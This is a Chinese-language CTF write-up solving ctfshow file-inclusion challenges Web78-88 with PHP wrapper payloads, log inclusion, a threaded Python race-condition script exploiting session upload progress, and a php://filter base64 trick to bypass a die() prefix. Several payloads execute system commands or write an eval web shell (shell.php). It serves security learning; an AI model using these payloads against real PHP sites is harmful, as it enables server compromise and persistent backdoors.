Ctfshow Web入門 - 文件包含總結


普通文件包含

常見的php偽協議大致四種

1.php://filter  主要用於讀取源碼
2.php://input  經常使用file_get_contents獲取php://input內容
3.data://  執行命令
4.file://  訪問本地文件系統

 

Web78

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

主要是別忘了convert,用於轉換編碼用的,缺少會報錯

 

Web79

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

php被替換為???,因此不能明文讀取

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

其中

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
為base64編碼的
<?php system('cat flag.php'); ?>

 

Web80-81

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

同理過濾

 用日志包含繞過,將執行的命令插入日志中

這道題奇怪的是nginx日志在/var/log/nginx/access.log,一般apache日志在類似目錄下(/var/log/httpd/access.log)

包含,看見會寫入訪問的User-Agent

 

Web82-86

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

 

考點貌似是參考了19年某比賽的題目

這道題和我寫的突破shell命令限制中,運用的P神的方法有異曲同工之妙,也是上傳臨時文件並執行

參考了大佬的做法:https://www.cnblogs.com/NPFS/p/13797449.html

 

利用PHP_SESSION_UPLOAD_PROGRESS進行文件包含

1.簡單來說,上面這個選項開啟以后,上傳文件,我們能夠POST請求查看上傳進度

2.我們在session中寫入我們要執行的代碼

3.用戶可以自己定義Session ID,比如在Cookie里設置PHPSESSID=flag,PHP將會在服務器上創建一個文件:/tmp/sess_flag,我們能夠命名'sess_'后面的名字

4.之后要執行就要包含這個session文件

5.默認情況下,session.upload_progress.cleanup是開啟的,一旦讀取了所有POST數據,就會清除進度信息

6.於是我們需要條件競爭來讀取文件,所謂條件競爭簡單來說是在執行系統命令前先執行完自己的代碼,在文件上傳中很常見

 

寫一個POST網頁

<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

隨便POST一個文件,最好稍大一點

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

這是一開始POST的包

添加PHPSESSID

開啟POST包的爆破,之后包含GET包也進行爆破

可以設置為無payload,不過要先clear選擇要爆破的內容,之后選擇無限發包

不過我怎么試都沒成功,可能和第二次請求沒有cookie有關,或是請求不是同一次,造成的失敗

這里沒有多研究

 

在參考了另一篇博客:https://blog.csdn.net/qq_44657899/article/details/109281343

用了python來發包,最后成功了

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://3b92be0e-c676-4b32-ae10-e6892b3f4e1c.chall.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://3b92be0e-c676-4b32-ae10-e6892b3f4e1c.chall.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

這里腳本用了使用多線程來執行條件競爭

fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>'
是典型的條件競爭語句,運用在文件上傳漏洞

一遍遍嘗試,若返回session中不包含flag字樣就重新嘗試

最后成功讀取session內容

 

Web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

參考P神的文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

在巧用編碼與解碼中,介紹了使用base64編碼特性解決在content前拼接退出<?php exit();?>的問題

 

大致方法如下:

1.base64編碼中只包含64個可打印字符

2.$file是我們我們可控的協議流,我們使用base64編碼,在解碼時去掉退出代碼中不支持的字符,變為phpdie,在后面加上aa使得能正常解碼phpdieaa(base64編碼解碼特性,4字節一組)

3.首先嘗試語句為php://filter/write=convert.base64-encode/resource=1.php(1.php自己命名),這里有urldecode($file)因此要編碼兩次,

同時在hackbar進行content的POST操作,POST base64編碼的代碼<?php @eval($_POST[a]);?>在前面加個aa

aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

沒成功截斷之前:

寫入后訪問網頁如下

這一步暫時只是測試

 

4.同理將上面語句中的convert.base64-encode改為convert.base64-decode,url編碼兩次

%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570

 

以下問題是因為編碼問題產生的,看有沒有滿足base64解碼的條件,4字節一組

 

5.訪問當前網頁的1.php,發現成功用編碼截斷了die的操作

之后POST參數a進行命令執行

 

 

 

若還是失敗,推薦P神其他的解法,這里就不演示了

 

Web88

解法同Web79


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM